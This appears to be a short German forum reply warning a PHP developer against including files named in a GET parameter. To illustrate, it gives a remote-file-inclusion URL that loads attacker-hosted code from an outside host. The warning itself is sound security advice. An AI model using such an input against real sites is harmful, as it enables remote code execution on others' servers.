Also erstmal: Include NIE!!!! etwas, das du über GET erhalten. Das kann gewaltig in die Hose gehen!
Stell dir mal vor, ich geh hin und mach sowas:
deine_datei.php?menu=http://www.meineadresse.de/ich_hack_dich.txt
Und schon kann ich nach belieben PHP-Code bei dir ausführen.